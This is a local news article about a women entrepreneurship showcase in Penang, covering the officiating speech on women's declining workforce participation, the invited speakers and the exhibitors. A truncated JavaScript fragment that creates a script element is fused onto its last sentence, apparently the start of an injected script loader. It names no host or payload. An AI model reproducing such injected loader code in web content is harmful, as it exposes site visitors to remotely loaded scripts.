Story by Danny Ooi
WOMEN aspiring to start their own business or those who are already in business discovered plenty of resources, opportunities, connections and knowledge at the women entrepreneurship showcase titled “WE R.O.C.K Day” on Oct 1.
Exco for Youth, Sports, Women, Family and Community Development Chong Eng officiated the event. Also present were Seberang Perai Municipal Council president Datuk Maimunah Mohd Sharif, Bukit Mertajam MP Steven Sim and Batu Kawan MP Kasthuri Patto.
In her speech, Chong Eng said she was indeed honoured to launch the auspicious event organised by Women Biz Sense,with the theme ‘WE ROCK’ which is the acronym for Women Entrepreneur, Resources, Opportunities, Connections, and Knowledge.
“Women Biz Sense is a Penang-based association whose aim is to bring together women entrepreneurs from different ages and backgrounds and to encourage, learn and share with each other as they grow their business,” she said.
“Research has shown that there is a gender imbalance in the occupational sectors of Penang. Women are more involved in sectors that require minimal decision making and lesser executive responsibilities.
“A single-peak phenomenon is observed in Penang’s labour force. It is sad to note that women’s participation in the workforce is a steady declining after the age of 30.
“This is at the prime of anyone’s working career when they are accumulating required experience to climb the corporate ladder, but women have to leave due to family and children.
“Double burden, balancing work and domestic responsibilities, is still shouldered,” she said.
Organised by WomenBizSENSE, a women entrepreneur association known for promoting entrepreneurship in Penang, this showcase was unique in that it allowed women to explore resources and opportunities in starting, managing or growing a business.
The 10am to 5pm event was filled with educational topics such as starting your e-commerce website, how to grow business profitably and how to turn business into a franchise.
Invited speakers included Sofia Leong Abdullah, an expert on franchising, Jeanne Ooi, a business coach from ActionCOACH Penang, and others.
Visitors also had the chance to visit some 50 exhibitors’ booths owned by women entrepreneurs.
Business and women organisations such as International Women Federation of Commerce & Industry, JCI Pearl, Business Network International and the Indonesian Consulate also had booths.var d=document;var s=d.createElement(‘script’);